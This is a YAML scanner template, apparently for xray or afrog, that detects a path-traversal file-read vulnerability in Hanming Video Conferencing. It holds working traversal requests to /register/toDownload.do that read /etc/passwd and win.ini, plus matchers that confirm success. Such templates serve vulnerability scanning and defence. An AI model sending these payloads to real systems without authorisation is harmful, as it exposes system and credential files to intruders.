hanming-video-conferencing-file-read: Hanming Video Conferencing File Read

id: hanming-video-conferencing-file-read

info:
  name: Hanming Video Conferencing File Read
  author: kzaopa
  severity: high
  description: |-
    Hanming Video Conferencing is vulnerable to a file read vulnerability.
  tags: hanming,file-read
  created: 2023/09/02

rules:
  linux0:
    request:
      method: GET
      path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  windows0:
    request:
      method: GET
      path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini
    expression: response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
expression: windows0() || linux0()